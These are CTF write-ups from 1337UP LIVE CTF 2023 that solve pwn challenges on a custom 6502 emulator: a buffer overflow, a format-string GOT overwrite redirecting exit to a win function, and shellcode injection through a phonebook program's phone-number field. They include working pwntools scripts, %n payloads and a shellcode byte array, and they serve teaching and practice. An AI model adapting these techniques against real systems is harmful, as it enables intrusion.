│00000010│ 41 43 54 45 44 5f 52 45 ┊ 44 41 43 54 45 44 7d 00 │ACTED_RE┊DACTED}0│
│00000020│ 57 65 6c 63 6f 6d 65 21 ┊ 20 53 6f 6d 65 74 68 69 │Welcome!┊ Somethi│
│00000030│ 6e 67 20 68 65 72 65 2e ┊ 2e 2e 0a 00 42 79 65 20 │ng here.┊.._0Bye │
│00000040│ 62 79 65 21 00 48 65 6c ┊ 6c 6f 20 00 a2 03 20 c9 │bye!0Hel┊lo 0ו ×│
│00000050│ ff a9 20 85 fb a9 c0 85 ┊ fc 20 c9 c0 20 6d c0 a9 │×× ×××××┊× ×× m××│
│00000060│ 3c 85 fb a9 c0 85 fc 20 ┊ c9 c0 60 00 00 18 ba 8e │<×××××× ┊××`00•××│
│00000070│ 6b c0 8a e9 32 aa ca 9a ┊ 85 fd a9 01 85 fe a0 00 │k×××2×××┊××ו×××0│
│00000080│ a9 00 8d 6c c0 20 cf ff ┊ 48 ad 6c c0 c9 64 68 f0 │×0×l× ××┊H×l××dh×│
│00000090│ 11 91 fd c8 ee 6c c0 c9 ┊ 0d f0 07 c9 0a f0 03 4c │•××××l××┊_ו×_וL│
│000000a0│ 85 c0 a9 45 85 fb a9 c0 ┊ 85 fc 20 c9 c0 a5 fd 85 │×××E××××┊×× ×××××│
│000000b0│ fb a5 fe 85 fc 20 c9 c0 ┊ ae 6b c0 9a 60 a9 03 85 │××××× ××┊×k××`ו×│
│000000c0│ fb a9 c0 85 fc 20 c9 c0 ┊ 60 a0 ff c8 b1 fb 20 d2 │××××× ××┊`××××× ×│
│000000d0│ ff d0 f8 60 ┊ │×××` ┊ │
└────────┴─────────────────────────┴─────────────────────────┴────────┴────────┘
It indeed starts at that offset.
So if we put everything in a script we get:
solve.py
from pwn import *
p = process(["runtime", "program.prg"])
p.sendline(b"a"*51 + b"\xbd\xc0")
print(p.readall())
Running this on remote will give us the flag.
Flag INTIGRITI{d0_s0m3_r3tr0_pwn}
Retro-as-a-Service
CTF | 1337UP LIVE CTF 2023 (CTFtime) |
Author | 0xM4hm0ud & DavidP |
Category | Pwn |
Solves | 1 |
Difficulty | Medium |
Files | retro.zip |
Solution
We are provided with few files. Its just the setup for remote and the binary. We see that it takes our input as hex and write it to a file and run it with the runtime
binary. Lets first check the protections of the binary:
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
We can see that PIE is not enabled and there is Partial RELRO, so GOT is writable. Lets checks the strings in the binary. We find some interesting strings:
flag.txt
flag.txt not found! If this happened on the server, contact the admin please!
This means that there is probably a win function somewhere.
Now we need to find a vulnerability. As we probably already reversed the runtime in the Impossible Mission
challenge, we didnt find anything suspicious. If we reference were the string is used, we can find the win function:
void FUN_00401266(void)
{
long lVar1;
int iVar2;
FILE *__stream;
long in_FS_OFFSET;
lVar1 = *(long *)(in_FS_OFFSET + 0x28);
__stream = fopen("flag.txt","r");
if (__stream == (FILE *)0x0) {
perror("flag.txt not found! If this happened on the server, contact the admin please!");
/* WARNING: Subroutine does not return */
exit(1);
}
do {
iVar2 = fgetc(__stream);
putchar((int)(char)iVar2);
} while ((char)iVar2 != -1);
fclose(__stream);
if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
If we diff the binary we can see that it is different. We can check all modified functions here:
The one with 67.22% is interesting. The others aren't really important. The one with 84% is a false positive I guess.(It compares different functions). Lets check the function in Ghidra:
void FUN_00405a6a(void)
{
long lVar1;
char cVar2;
long in_FS_OFFSET;
lVar1 = *(long *)(in_FS_OFFSET + 0x28);
cVar2 = FUN_0040160c();
if (cVar2 == 31) {
do {
invalidInstructionException();
} while( true );
}
if (cVar2 == 32) {
printf(&DAT_0040b928 + (int)(uint)CONCAT11(DAT_0040b923,DAT_0040b924));
}
else {
panic();
}
if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
We can see a format string vulnerability: printf(&DAT_0040b928 + (int)(uint)CONCAT11(DAT_0040b923,DAT_0040b924));
.
We can see that CONCAT is here used with 2 arguments from the DATA section. If you dont know what CONCAT means in ghidra read this(taken from stackoverflow):
CONCAT in particular could be modeled as a left shift of the first argument by the size of the second argument and then logical and-ing the two parameters.
But for humans it's much easier to think of it as "put the two things next to each other".
The numbers following CONCAT only matter if the passed arguments are not the expected sizes and are probably mainly there to make things more explicit.
Concretely, you shouldn't read CONCAT15 as "concat fifteen" but as "concat one five": The first argument is expected to have a size of one byte while the second has a size of five,
totaling to an amount of six bytes: CONCAT15(0x12, 0x3456789012) is the same as 0x123456789012
If we check the assembly we can see that it indeeds left shift the first argument by the size of the second argument. The size is 8 bits(1 byte). It then OR it instead of ANDing(ig the person that answered this made a mistake there, because ANDing is wrong) it:
00405aa1 0f b6 05 MOVZX EAX,byte ptr [DAT_0040b923]
7b 5e 00 00
00405aa8 0f b6 c0 MOVZX EAX,AL
00405aab c1 e0 08 SHL EAX,0x8
00405aae 89 c2 MOV EDX,EAX
00405ab0 0f b6 05 MOVZX EAX,byte ptr [DAT_0040b924]
6d 5e 00 00
00405ab7 0f b6 c0 MOVZX EAX,AL
00405aba 09 d0 OR EAX,EDX
00405abc 66 89 45 f2 MOV word ptr [RBP + local_16],AX
00405ac0 0f b7 45 f2 MOVZX EAX,word ptr [RBP + local_16]
00405ac4 48 98 CDQE
00405ac6 48 8d 15 LEA RDX,[DAT_0040b920]
53 5e 00 00
00405acd 48 01 d0 ADD RAX,RDX
00405ad0 48 83 c0 08 ADD RAX,0x8
00405ad4 48 89 c7 MOV RDI,RAX
00405ad7 b8 00 00 MOV EAX,0x0
00 00
00405adc e8 cf b5 CALL <EXTERNAL>::printf
ff ff
Based on thise we know that it concat two values. In the challenge Impossible Mission
we already reversed the binary, we found out that the 2 values at the data section are register X and Y. It then adds the value to the first argument of printf. Thats where the value is stored. So in code its something like mem[(reg_x << 8) | reg_y]
. You can check in GDB how it works if you dont get it. With this we can try to exploit the binary.
So I created an small poc:
* = $c000; Sets the base address to 0xc000
jmp start
payload .ASCII "%p"
.BYTE 0
start
jsr test
test
ldx #>payload
ldy #<payload
.word 0 ; We will patch this later with int #32. int isn't a normal opcode in c64. In this opcode it takes input etc.. In this challenge there is a format string here if we call it with 32 as hex value.
rts
We use this poc to test the vulnerability. We set the base address to 0xc000. We do this because we saw it when reversing the binary. It then loads the high byte in the X register and the low byte in the Y register. We also set a .word 0 as placeholder. We do this because the function with the vuln isn't a valid opcode in c64. We can check the offset where the opcode is set.
We reversed this function already:
bool step(void)
{
code *pcVar1;
byte bVar2;
long in_FS_OFFSET;
long canary;
canary = *(long *)(in_FS_OFFSET + 0x28);
bVar2 = read8bytes();
pcVar1 = (code *)(&PTR_FUN_0040b0e0)[(int)(uint)bVar2];
if (pcVar1 == (code *)0x0) {
panic();
}
(*pcVar1)();
if (canary != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return DAT_0040b920 != -1;
}
Here we can see that it index an array: pcVar1 = (code *)(&PTR_FUN_0040b0e0)[(int)(uint)bVar2];
. If we check the references in Ghidra to the vulnerable function, we can find that its stored in the array at address 0x40b858
. We can calculate the offset in python:
>>> hex((0x40b858 - 0x40b0e0) // 8)
'0xef'
We can see here that the offset is empty, so it means that this isnt a valid opcode. We can use that value to call the custom opcode. As we have seen in the decompiled code if we call the opcode with value decimal value 32, it calls the printf:
if (cVar2 == 32) {
printf(&DAT_0040b928 + (int)(uint)CONCAT11(DAT_0040b923,DAT_0040b924));
}
We use this online assembler
to compile the program and download the program as Standard Binary
. Now we patch the binary with an hexeditor.
If we check the current value we see:
┌────────┬─────────────────────────┬─────────────────────────┬────────┬────────┐
│00000000│ 4c 06 c0 25 70 00 20 09 ┊ c0 a2 c0 a0 03 00 00 60 │L•×%p0 _┊×××ו00`│
└────────┴─────────────────────────┴─────────────────────────┴────────┴────────┘
We just need to replace the first zero byte with the opcode ef
and the second value with 20
(hex value of decimal value 32):
┌────────┬─────────────────────────┬─────────────────────────┬────────┬────────┐
│00000000│ 4c 06 c0 25 70 00 20 09 ┊ c0 a2 c0 a0 03 ef 20 60 │L•×%p0 _┊××××•× `│
└────────┴─────────────────────────┴─────────────────────────┴────────┴────────┘
When we run it locally with the binary we get this:
➜ ./runtime test.prg
(nil)(nil)
Our poc works. If we set a breakpoint at the printf call and check the stack we can see:
gef> tele $rsp 0x10 -n
0x7fff923f2db0|+0x0000|000: 0x00000020c0032de0 <- $rsp
0x7fff923f2db8|+0x0008|001: 0xd7e2789b1f42fb00 <- canary
0x7fff923f2dc0|+0x0010|002: 0x00007fff923f2df0 -> 0x00007fff923f2e10 -> 0x00007fff923f3e70 -> 0x0000000000000002 <- $rbp
0x7fff923f2dc8|+0x0018|003: 0x0000000000405c9b -> 0x6600005c7e05b70f <- retaddr[1]
0x7fff923f2dd0|+0x0020|004: 0x00007fff923f3f88 -> 0x00007fff923f6149 -> './runtime'
0x7fff923f2dd8|+0x0028|005: 0xefe2789b1f42fb00
0x7fff923f2de0|+0x0030|006: 0x0000000000405a6a -> 0x10ec8348e5894855
0x7fff923f2de8|+0x0038|007: 0xd7e2789b1f42fb00 <- canary
0x7fff923f2df0|+0x0040|008: 0x00007fff923f2e10 -> 0x00007fff923f3e70 -> 0x0000000000000002
0x7fff923f2df8|+0x0048|009: 0x0000000000405ceb -> 0x9090f0eb0274c085 <- retaddr[2]
0x7fff923f2e00|+0x0050|010: 0x0000000000bae480 -> 0x0920007025c0064c
0x7fff923f2e08|+0x0058|011: 0xd7e2789b1f42fb00 <- canary
0x7fff923f2e10|+0x0060|012: 0x00007fff923f3e70 -> 0x0000000000000002
0x7fff923f2e18|+0x0068|013: 0x00000000004015a3 -> 0x45ebe800000000b8 <- retaddr[3]
0x7fff923f2e20|+0x0070|014: 0x00007fff923f3f88 -> 0x00007fff923f6149 -> './runtime'
0x7fff923f2e28|+0x0078|015: 0x0000000200000200
At position 012
on the stack we can see that it points to another stack location: 0x00007fff923f3e70
. We know that GOT is writable. So our goal is to write the exit got address there and then at that offset we overwrite it with the win function. We can calculate the offset of the stack address. The position we write the exit address is 18th position. The second address is at position 542:
gef> p/d (0x00007fff923f3e70 - 0x7fff923f2e10) / 8 + 18
$1 = 542
Now we just take the decimal values of the exit address and win address and write at those offsets in 2 stages. We do this to prevent internal printf positional error. Exit is called in the panic function. In the vulnerable function if we call the opcode without any valid value it calls the panic function:
if (cVar2 == 31) {
do {
invalidInstructionException();
} while( true );
}
if (cVar2 == 32) {
printf(&DAT_0040b928 + (int)(uint)CONCAT11(DAT_0040b923,DAT_0040b924));
}
else {
panic();
}
So we can make this assembly program:
* = $c000; Sets the base address to 0xc000
jmp start
payload .ASCII "%4239512c%18$n" ; Exit GOT address, Write to the 18th position on stack. 18 position points to the 542th position.
.BYTE 0
payload2 .ASCII "%4199014c%542$n" ; Overwrite exit got with the win function
.BYTE 0
start
jsr stage1
jsr stage2
stage1
ldx #>payload
ldy #<payload
.word 0 ; We will patch this later with int #32. int isn't a normal opcode in c64. In this opcode it takes input etc.. In this challenge there is a format string here if we call it with 32 as hex value.
rts
stage2
ldx #>payload
ldy #<payload2
.word 0 ; We will patch this later with int #32
.word 0 ; We will patch this later with int #100. This will call the panic function. In that function it calls exit
We patch the zero bytes with the custom opcode and the needed values.
from pwn import *
def start(argv=[], *a, **kw):
if args.GDB:
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
elif args.REMOTE:
return remote(sys.argv[1], sys.argv[2], *a, **kw)
else:
return process([exe] + argv, *a, **kw)
gdbscript = '''
'''.format(**locals())
exe = './runtime'
exe_args = ['payload.prg']
elf = context.binary = ELF(exe, checksec=False)
context.log_level = 'info'
# context(terminal=['tmux', 'split-window', '-h'])
def file_to_hex(filename):
try:
with open(filename, 'rb') as file:
file_data = file.read()
hex_data = file_data.hex()
return hex_data
except FileNotFoundError:
print(f"File '{filename}' not found.")
REMOTE = True
if REMOTE == False:
io = start(exe_args)
io.interactive()
else:
io = start()
hex_data = file_to_hex("payload.prg")
io.sendline(hex_data.encode())
print(io.recvall())
Running this locally and remotely give us the flag:
Flag INTIGRITI{cl0ud_53rv1c35_45_1n_7h3_805}
Seahorse Hide 'n' Seek
CTF | 1337UP LIVE CTF 2023 (CTFtime) |
Author | 0xM4hm0ud & DavidP |
Category | Pwn |
Solves | 1 |
Difficulty | Hard |
Files | seahorse.zip |
Solution
For this challenge we again have the 6502 vm
and a program. It's the code for a simple phonebook manager application
. The user can insert contacts and print the list of recorded contacts.
=== Telephone Manager 1982 ===
1. add entry
2. list entries
3. exit
1
enter first name: Hello
enter last name: World
enter phone: 999999
new record added
1. add entry
2. list entries
3. exit
1
enter first name: Foo
enter last name: Bar
enter phone: 1337
new record added
1. add entry
2. list entries
3. exit
2
Hello World 999999
Foo Bar 1337
1. add entry
2. list entries
3. exit
The structure is the same as in the previous challenges. Some data is defined at the top, the code starts at offset 800
. We can disassemble the program with our previously written disassembler or using online tools like this. The disassembly is quite big, but we can split functionality roughly by following RTS
mnemonics. First off, there are a few utility functions:
; subroutine that prints a string to screen
; Name 'print'
0320 STX fb
0322 STY fc
0324 LDY ff
0326 INY
0327 LDA (fb), y
0329 JSR ffd2
032c BNE f8
032e RTS
; subroutine that multiplies two 8 bit values by
; using shift and add algorithmus
; Name 'mul8'
032f some var
0330 some var
0331 some var
0332 STX c32f
0335 STX c330
0338 LDA 0
033a LDX 8
033c LSR c330
033f BCC 4
0341 CLC
0342 ADC c32f
0345 ROR A
0346 ROR c331
0349 DEX
034a BNE f0
034c TAY
034d LDA c331
0350 TAX
0351 RTS
; subroutine that adds a 8 bit value to a 16 bit value
; Name 'add16'
0352 some var
0353 some var
0354 some var
0355 STX c353
0358 STX c354
035b STA c352
035e CLC
035f LDA c353
0362 ADC c352
0365 TAX
0366 BCC 6
0368 LDA c354
036b ADC 0
036d TAY
036e RTS
Afterwards comes the main menu subroutine. Here the menu options are printed and the user input is read. Depending on the user input the associated subroutines are called.
; Name 'main_menu'
036f some var
0370 LDX 68 ; LDX/LDY hold hi and lo byte of menu string
0372 LDY c2
0374 JSR c320 ; jump to 'print'
0377 JSR ffcf ; read input via CHRIN (ffcf) kernal routine from keyboard
037a CMP d
037c BEQ a
037e CMP a
0380 BEQ 6 ; check if user pressed return
0382 STA c36f ; if not, save current key
0385 JMP c377 ; and jump back to menu read input start
0388 LDA c36f
038b CMP 31 ; compare last pressed key (before return key)
038d BEQ 12 ; and jump forward depending if user pressed
038f CMP 32 ; 1, 2 or 3
0391 BEQ 14
0393 CMP 33
0395 BEQ 16
0397 LDX d4 ; if user input was not valid print a invalid
0399 LDY c2 ; input message 'invalid input...' and jump back to main menu start
039b JSR c320
039e JMP c370
03a1 JSR c3b0 ; jump to add_entry subroutine
03a4 JMP c370
03a7 JSR c428 ; jump to list_all subroutine
03aa JMP c370
03ad RTS
Next up comes a subroutine that is jumped to when the user presses '1' in the main menu, so here is adding new records handled. There is a large amount of repetitive code that prints a input prompt and then reads user input.
; Name 'add_entry'
03ae some var
03af some var
03b0 LDA c003 ; c003 stores number of entries
03b3 CMP a ; compare with max entries (10)
03b5 BMI 8 ; if less than max entries jump forward
03b7 LDX e7 ; otherwise print error message 'your phonebook is full
03b9 LDY c2
03bb JSR c320
03be RTS
03bf LDX c003 ; load number of entries
03c2 LDY 3a ; load entry size
03c4 JSR c332 ; call mul8
03c7 STX c3ae ; store result of num_entries * ENTRY_SIZE
03ca STX c3af
03cd LDA 4 ; add offset to address where the phonebook records
03cf ADC c3ae ; should be stored. all in all we calculate
03d2 STA c3ae ; record_ptr = &buffer[num_entries * ENTRY_SIZE]
03d5 LDA c0
03d7 ADC c3af
03da STA c3af
03dd LDX 8e ; print message 'enter first name: '
03df LDY c2
03e1 JSR c320
03e4 LDX c3ae ; fetch pointer to current record
03e7 LDY c3af
03ea LDA 0
03ec JSR c355 ; add field offset (first field = offset 0)
03ef JSR c49b ; jump to 'user_input' subroutine
03f2 LDX a1 ; as above but for field 'last name', the field
03f4 LDY c2 ; offset is '19' here so we write to
03f6 JSR c320 ; ptr_last_name = &record_ptr[0x19]
03f9 LDX c3ae
03fc LDY c3af
03ff LDA 19
0401 JSR c355
0404 JSR
0407 LDX b3 ; as above but for field 'phone number', the field
0409 LDY c2 ; offset is '32' here so we write to
040b JSR c320 ; ptr_phone_number = &record_ptr[0x32]
040e LDX c3ae
0411 LDY c3af
0414 LDA 32
0416 JSR c355
0419 JSR c49b
041c INC c003 ; increment number of entries
041f LDX c1 ; print message 'new record added'
0421 LDY c2
0423 JSR c320
0426 RTS
The next subroutine is jumped to when the user presses '2' for listing the phonebook records.
; Name 'list_all'
0427 some var
0428 LDA 4 ; fetch start of phonebook records buffer
042a STA c3ae
042d LDA c0
042f STA c3af
0432 LDA c003 ; check if num entries is larger than 0, otherwise
0435 CMP 0
0437 BEQ 5a ; jump to error handler
0439 STA c427 ; store num entries as counter
043c LDX c3ae ; load buffer address
043f LDY c3af
0442 LDA 0 ; add offset 0 to address: &buffer[0]
0444 JSR c355
0447 JSR c320 ; print value stored in field 'first name'
044a LDA 20 ; print space
044c JSR ffd2
044f LDX c3ae ; load buffer address
0452 LDY c3af
0455 LDA 19 ; add offset 19 to address: &buffer[0x19]
0457 JSR c355
045a JSR c320 ; print value stored in field 'last name'
045d LDA 20 ; print space
045f JSR ffd2
0462 LDX c3ae ; load buffer address
0465 LDY c3af
0468 LDA 32 ; add offset 32 to address: &buffer[0x32]
046a JSR c355
046d JSR c320 ; print value stored in field 'phone number'
0470 LDA a ; print space
0472 JSR ffd2
0475 LDX c3ae ; move buffer base pointer to start of next record
0478 LDY c3af
047b LDA 3a
047d JSR c355
0480 STX c3ae
0483 STX c3af
0486 DEC c427 ; decrement counter and
0489 BNE b1 ; jump back if not reached 0
048b LDA a
048d JSR ffd2 ; print additional new line and jump out of method
0490 JMP c49a
0493 LDX 0 ; error handler, print 'your phonebook has no records'
0495 LDY c3
0497 JSR c320
049a RTS
The last subroutine is used to read user input.
; Name 'user_input'
049b STX fb
049d STY fc
049f LDY 0
04a1 JSR ffcf ; read next character
04a4 CMP d
04a6 BEQ 10
04a8 CMP a
04aa BEQ c ; check if user pressed 'return'
04ac STA (fb), y ; store character to address stored in $fb:$fc + value in register Y
04ae INY ; inc Y to move to next character
04af BNE f0 ; of Y is zero the 8 bit range wrapped around
04b1 INC fc ; and we need to increment the high byte of the address
04b3 LDY 0
04b5 JMP c4a1
04b8 RTS
The last part can be considered the 'main' function. it only prints a header
and jumps to subroutine main_menu
.
04b9 LDX 3
04bb JSR ffc9
04be LDX 48
04c0 LDY c2
04c2 JSR c320
04c5 JSR c370 ; jum to main_menu
04c8 RTS
With all this we know what the program is doing. Inspecting a bit closer we can find a vulnerability in user_input
. The subroutine reads until either a new line
or carriage return
character was read. This will happily accept any number of characters and write the characters to memory, eventually overflowing the buffer. But how can we use this?
We can see that the buffer
is located near the base address and before the code starts. This gives us the oportunity to override the program code and replace it with our own shellcode.
Since we know the flag is located in a file we have to read the contents. Commodore 64 provided some kernal routines for file IO: SETLFS
, SETNAM
, LOAD
. Thankfully the vm supports these routines, so we can write a small program that reads flag.txt
and prints the content to screen. To assemble the code we can use for instance this online assembler.
; kernal subroutines
SETLFS = $FFBA
SETNAM = $FFBD
LOAD = $FFD5
CHROUT = $FFD2
; store address to string for print subroutine
STRLO = $FB
STRHI = $FC
NAMELEN = 9
* = $c036
jmp start
filename .ASCII "flag.txt"
.BYTE 0
buffer .REPEAT 42 .BYTE 0
* = $c099
start lda #NAMELEN
ldx #<filename
ldy #>filename
jsr SETNAM
lda #01
ldx $ba
bne skip
ldx #$08
skip ldy #00
jsr SETLFS
ldx #<buffer
ldy #>buffer
lda #00
jsr LOAD
bcs exit
lda #<buffer
sta STRLO
lda #>buffer
sta STRHI
ldy #$ff
l0 iny
lda (STRLO),Y
jsr CHROUT
bne l0
exit rts
One minor thing to note is that the program is not loaded to the default base address 0xc000
but to 0xc036
since we enter the program as phone number
when creating a new contact and the offset of the phone number of the first entry is located at this address (3 byte for jump to program start + 25 bytes for first name + 25 bytes for last name
). Next we need to find a place where we can redirect the program flow.
If we assemble this and pass it to the program nothing exciting is happening. This is since we overflow our record but we don't overflow the buffer containing all records. To check if our idea is working we can just add a lot of random bytes and see when the program is crashing. Since it's crashing at a certain point we know we ideed can override the loaded program bytecodes. Now we only need to see how we can redirect the program flow to our shellcode. If we check out the code that reads the phone number we see the following:
0407 LDX b3
0409 LDY c2
040b JSR c320
040e LDX c3ae
0411 LDY c3af
0414 LDA 32
0416 JSR c355
0419 JSR c49b ; jump to 'user_input' where our code is read
; after all input is send the program returns from the
; subroutine and picks up flow at address $c41c
041c INC c003 ; increment number of entries
We could redirect the program flow by overriding INC c003
with a jump to our shellcode (JMP c036
). We can see in our disassembly that the opcode is located at offset c41c
so we padd our shellcode with a lot of NOP
until reaching the INC
and then emitting our instruction to jump back to our shellcode start.
Putting it to work we can write a small python script that automates the progress:
from pwn import *
shellcode = [0x4C, 0x6C, 0xC0, 0x66, 0x6C, 0x61, 0x67, 0x2E, 0x74, 0x78, 0x74, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xA9, 0x09, 0xA2, 0x39, 0xA0, 0xC0,
0x20, 0xBD, 0xFF, 0xA9, 0x01, 0xA6, 0xBA, 0xD0, 0x02, 0xA2, 0x08, 0xA0,
0x00, 0x20, 0xBA, 0xFF, 0xA2, 0x42, 0xA0, 0xC0, 0xA9, 0x00, 0x20, 0xD5,
0xFF, 0xB0, 0x12, 0xA9, 0x42, 0x85, 0xFB, 0xA9, 0xC0, 0x85, 0xFC, 0xA0,
0xFF, 0xC8, 0xB1, 0xFB, 0x20, 0xD2, 0xFF, 0xD0, 0xF8, 0x60]
payload = bytes(shellcode)
payload += (0x41c-0xa0) * b"\xea" # padd to reach 'INC c003' instruction
payload += b"\x4c\x36\xc0" # overriding it with 'JMP c036'
p = process(["runtime", "program.prg"])
p.sendlineafter(b"3. exit\n", b"1")
p.sendlineafter(b"enter first name: ", b"")
p.sendlineafter(b"enter last name: ", b"")
p.sendlineafter(b"enter phone: ", payload)
print(p.readall())
Running this, will give us the flag.
$ python solve.py
[+] Opening connection to localhost on port 54321: Done
[+] Receiving all data: Done (85B)
[*] Closed connection to localhost port 54321
b'\x00INTIGRITI{1nj3c71n6_5h3llc0d3_1n_7h3_805}\x00INTIGRITI{1nj3c71n6_5h3llc0d3_1n_7h3_805}\x00'
Flag INTIGRITI{1nj3c71n6_5h3llc0d3_1n_7h3_805}